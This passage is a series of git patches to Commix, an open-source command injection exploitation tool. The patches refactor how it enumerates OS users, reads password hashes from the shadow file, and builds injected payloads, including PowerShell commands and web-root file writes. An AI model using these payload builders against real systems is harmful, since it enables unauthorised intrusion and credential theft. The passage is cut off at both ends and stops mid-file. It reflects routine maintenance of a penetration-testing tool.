print(settings.SINGLE_WHITESPACE)
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command."
+ info_msg = "Identified operating system"
+ info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
+ info_msg += " [" + str(len(sys_users_list)) + "]:"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
@@ -1813,7 +1814,7 @@ def print_users(sys_users, filename, _):
if menu.options.privileges:
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
- cmd = cmd.replace("'","\\'")
+ cmd = escape_single_quoted_cmd(cmd)
cmd = "cmd /c " + cmd
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
check_privs = cb_injector.injection_results(response, TAG, cmd)
@@ -1830,21 +1831,23 @@ def print_users(sys_users, filename, _):
else :
is_privileged = ""
is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
+ if count == 1 :
+ output_file.write("\n")
+ output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
output_file.close()
else:
# print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to enumerate operating system users."
print(settings.print_warning_msg(warn_msg))
except TypeError:
pass
except IndexError:
# print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to enumerate operating system users."
print(settings.print_warning_msg(warn_msg))
pass
@@ -1875,9 +1878,9 @@ def print_users(sys_users, filename, _):
if len(sys_users_list) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
+ info_msg = "Identified operating system"
+ info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
+ info_msg += " [" + str(len(sys_users_list)) + "]:"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
@@ -1918,11 +1921,13 @@ def print_users(sys_users, filename, _):
else :
is_privileged = ""
is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if count == 1 :
+ output_file.write("\n")
+ output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -1945,7 +1950,7 @@ def print_users(sys_users, filename, _):
except IndexError:
# print(settings.SINGLE_WHITESPACE)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users."
print(settings.print_warning_msg(warn_msg))
pass
@@ -1959,9 +1964,9 @@ def print_passes(sys_passes, filename, _):
if len(sys_passes) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
+ info_msg = "Identified operating system"
+ info_msg += " user" + ('s', '')[len(sys_passes) == 1]
+ info_msg += " password hashes [" + str(len(sys_passes)) + "]:"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
@@ -1979,7 +1984,9 @@ def print_passes(sys_passes, filename, _):
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ if count == 1 :
+ output_file.write("\n")
+ output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7962549441..233f30b3ee 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "81"
+REVISION = "82"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From f078ff089400aa880729f092b3d3af11eb064ff7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 15 Jun 2022 07:40:53 +0300
Subject: [PATCH 160/560] Minor refactoring regarding "sleep2timeout" tamper
---
src/core/tamper/sleep2timeout.py | 4 +++-
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index f647e32942..b2e9554e0b 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -37,7 +37,7 @@ def sleep_to_timeout_ping(payload):
payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0]))
payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0")
else:
- payload = payload.replace("powershell.exe -InputFormat none Start-Sleep -s", "timeout")
+ payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout")
return payload
if settings.CLASSIC_STATE != False or \
@@ -55,5 +55,7 @@ def sleep_to_timeout_ping(payload):
settings.TRANFROM_PAYLOAD = True
if settings.TRANFROM_PAYLOAD:
return sleep_to_timeout_ping(payload)
+
+ return payload
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 233f30b3ee..a5874fc6fe 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "82"
+REVISION = "83"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 7ca30f1da18f1a1a9977f765de754b0c6fd0e182 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 16 Jun 2022 10:48:37 +0300
Subject: [PATCH 161/560] Minor update
---
src/core/injections/blind/techniques/time_based/tb_injector.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 343f30de0b..bfcf1dbdfb 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -493,7 +493,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
if str(output) == str(randvcalc):
return how_long, output
else:
- if settings.VERBOSITY_LEVEL < 2:
+ if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
warn_msg = "False positive or unexploitable injection point detected."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 87dfe705d8..9d73e3c6f3 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -496,7 +496,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
if str(output) == str(randvcalc):
return how_long, output
else:
- if settings.VERBOSITY_LEVEL < 2:
+ if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
warn_msg = "False positive or unexploitable injection point detected."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a5874fc6fe..90e6b96e74 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "83"
+REVISION = "84"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 465c0da2ed280ea4de52f8c3e869a3674410ba01 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 17 Jun 2022 09:52:40 +0300
Subject: [PATCH 162/560] Minor fixes / updates
---
.../techniques/time_based/tb_enumeration.py | 4 +-
src/core/injections/controller/checks.py | 130 +++++++++---------
.../techniques/classic/cb_enumeration.py | 4 +-
.../techniques/eval_based/eb_enumeration.py | 4 +-
.../techniques/file_based/fb_enumeration.py | 4 +-
.../techniques/file_based/fb_payloads.py | 25 +---
.../tempfile_based/tfb_enumeration.py | 4 +-
src/core/modules/shellshock/shellshock.py | 4 +-
src/utils/settings.py | 5 +-
9 files changed, 85 insertions(+), 99 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 3dfdefbf87..ff1980c960 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -162,7 +162,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_users = output
- checks.print_users(sys_users, filename, _)
+ checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
@@ -179,7 +179,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_passes = output
- checks.print_passes(sys_passes, filename, _)
+ checks.print_passes(sys_users, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index d01072c8a6..e407cb7ef8 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -621,7 +621,7 @@ def continue_tests(err):
"""
def unavailable_option(check_option):
warn_msg = "The option '" + check_option + "' "
- warn_msg += "is not yet available for Windows targets."
+ warn_msg += "is not yet supported Windows targets."
print(settings.print_warning_msg(warn_msg))
"""
@@ -662,14 +662,11 @@ def ps_incompatible_os():
"""
def ps_check():
if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "The payloads in some options that you "
- warn_msg += "have chosen, are requiring the use of PowerShell. "
- print(settings.print_warning_msg(warn_msg))
while True:
- message = "Do you want to use the \"--ps-version\" option "
- message += "so ensure that PowerShell is enabled? [Y/n] > "
+ message = "The payloads in some options that you "
+ message += "have chosen are requiring the use of powershell. "
+ message += "Do you want to use the \"--ps-version\" flag "
+ message += "to ensure that is enabled? [Y/n] > "
ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
menu.options.ps_version = True
@@ -1643,20 +1640,19 @@ def generate_char_pool(num_of_chars):
"""
def print_ps_version(ps_version, filename, _):
try:
- if float(ps_version):
- settings.PS_ENABLED = True
- ps_version = "".join(str(p) for p in ps_version)
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- # Output PowerShell's version number
- info_msg = "Powershell version: " + ps_version
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Powershell version: " + ps_version + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ settings.PS_ENABLED = True
+ ps_version = "".join(str(p) for p in ps_version)
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ # Output PowerShell's version number
+ info_msg = "Powershell version: " + ps_version
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Powershell version: " + ps_version + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
warn_msg += "which means that some payloads or injection techniques may be failed."
@@ -1768,7 +1764,7 @@ def os_info_msg(self):
def print_users_msg(self):
if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
+ info_msg = "Executing the 'net user' command "
else:
info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' "
info_msg += "in order to enumerate operating system users. "
@@ -1786,59 +1782,59 @@ def print_single_os_cmd_msg(self, cmd):
"""
Print users enumeration.
"""
-def print_users(sys_users, filename, _):
+def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
# Windows users enumeration.
if settings.TARGET_OS == "win":
try:
- if sys_users:
+ if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS):
sys_users = "".join(str(p) for p in sys_users).strip()
- sys.stdout.write(settings.SUCCESS_STATUS)
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Identified operating system"
- info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
- info_msg += " [" + str(len(sys_users_list)) + "]:"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = escape_single_quoted_cmd(cmd)
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ if len(sys_users_list) != 0 :
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Identified operating system"
+ info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
+ info_msg += " [" + str(len(sys_users_list)) + "]:"
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- if count == 1 :
- output_file.write("\n")
- output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
+ count = 0
+ for user in range(0, len(sys_users_list)):
+ count = count + 1
+ if menu.options.privileges:
+ cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
+ if alter_shell:
+ cmd = escape_single_quoted_cmd(cmd)
+ cmd = "cmd /c " + cmd
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ check_privs = cb_injector.injection_results(response, TAG, cmd)
+ check_privs = "".join(str(p) for p in check_privs).strip()
+ check_privs = re.findall(r"(.*)", check_privs)
+ check_privs = "".join(str(p) for p in check_privs).strip()
+ check_privs = check_privs.split()
+ if "Admin" in check_privs[0]:
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user"
+ is_privileged_nh = " is admin user "
+ else:
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user"
+ is_privileged_nh = " is regular user "
+ else :
+ is_privileged = ""
+ is_privileged_nh = ""
+ print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ if count == 1 :
+ output_file.write("\n")
+ output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
+ output_file.close()
else:
# print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate operating system users."
@@ -1957,7 +1953,7 @@ def print_users(sys_users, filename, _):
"""
Print users enumeration.
"""
-def print_passes(sys_passes, filename, _):
+def print_passes(sys_users, filename, _, alter_shell):
if sys_passes == "":
sys_passes = " "
sys_passes = sys_passes.replace(" ", "\n").split()
@@ -2295,10 +2291,10 @@ def check_wrong_flags():
warn_msg += "target has been identified as Windows."
print(settings.print_warning_msg(warn_msg))
if menu.options.passwords:
- warn_msg = "The '--passwords' option, is not yet available for Windows targets."
+ warn_msg = "The '--passwords' option, is not yet supported Windows targets."
print(settings.print_warning_msg(warn_msg))
if menu.options.file_upload :
- warn_msg = "The '--file-upload' option, is not yet available for Windows targets. "
+ warn_msg = "The '--file-upload' option, is not yet supported Windows targets. "
warn_msg += "Instead, use the '--file-write' option."
print(settings.print_warning_msg(warn_msg))
raise SystemExit()
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 38412ef35c..3501e5dbaa 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -208,7 +208,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_users(sys_users, filename, _)
+ checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
@@ -228,7 +228,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_passes(sys_passes, filename, _)
+ checks.print_passes(sys_users, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index c50ac0af2d..673f7cd9d9 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -211,7 +211,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_users(sys_users, filename, _)
+ checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
@@ -231,7 +231,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_passes(sys_passes, filename, _)
+ checks.print_passes(sys_users, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 2ca6dacd8b..210a22a4a0 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -180,7 +180,7 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_users(sys_users, filename, _)
+ checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
@@ -197,7 +197,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_passes(sys_passes, filename, _)
+ checks.print_passes(sys_users, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index 5b66e37efe..6ec5df468f 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -27,15 +27,10 @@
"""
def decision(separator, TAG, OUTPUT_TEXTFILE):
- if settings.TARGET_OS == "win":
- payload = (separator +
- "powershell.exe -InputFormat none Add-Content " +
- OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + TAG
- )
- else:
- payload = (separator +
- "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
- )
+
+ payload = (separator +
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
+ )
return payload
@@ -73,22 +68,16 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE):
def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
if settings.TFB_DECIMAL == True:
- payload = (separator +cmd)
+ payload = (separator + cmd)
elif settings.TARGET_OS == "win":
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host (cmd /c \"" +
cmd +
- "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul"
+ "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "
Date: Sat, 18 Jun 2022 09:58:26 +0300
Subject: [PATCH 163/560] Trivial fixes / updates
---
.../techniques/time_based/tb_enumeration.py | 2 +-
src/core/injections/controller/checks.py | 57 +++++++++++--------
.../techniques/classic/cb_enumeration.py | 9 +--
.../techniques/eval_based/eb_enumeration.py | 19 +++----
.../techniques/file_based/fb_enumeration.py | 3 +-
.../techniques/file_based/fb_file_access.py | 2 +-
.../techniques/file_based/fb_injector.py | 3 +
.../tempfile_based/tfb_enumeration.py | 2 +-
src/utils/common.py | 2 +-
src/utils/settings.py | 2 +-
10 files changed, 53 insertions(+), 48 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index ff1980c960..8ccd42bc94 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -179,7 +179,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_passes = output
- checks.print_passes(sys_users, filename, _, alter_shell)
+ checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index e407cb7ef8..b38547e4be 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -662,6 +662,8 @@ def ps_incompatible_os():
"""
def ps_check():
if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords:
+ if settings.VERBOSITY_LEVEL != 0:
+ print(settings.SINGLE_WHITESPACE)
while True:
message = "The payloads in some options that you "
message += "have chosen are requiring the use of powershell. "
@@ -1807,33 +1809,33 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = escape_single_quoted_cmd(cmd)
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ # if menu.options.privileges:
+ # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
+ # if alter_shell:
+ # cmd = escape_single_quoted_cmd(cmd)
+ # cmd = "cmd /c " + cmd
+ # from src.core.injections.results_based.techniques.classic import cb_injector
+ # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ # check_privs = cb_injector.injection_results(response, TAG, cmd)
+ # check_privs = "".join(str(p) for p in check_privs).strip()
+ # check_privs = re.findall(r"(.*)", check_privs)
+ # check_privs = "".join(str(p) for p in check_privs).strip()
+ # check_privs = check_privs.split()
+ # if "Admin" in check_privs[0]:
+ # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user"
+ # is_privileged_nh = " is admin user "
+ # else:
+ # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user"
+ # is_privileged_nh = " is regular user "
+ # else :
+ is_privileged = is_privileged = ""
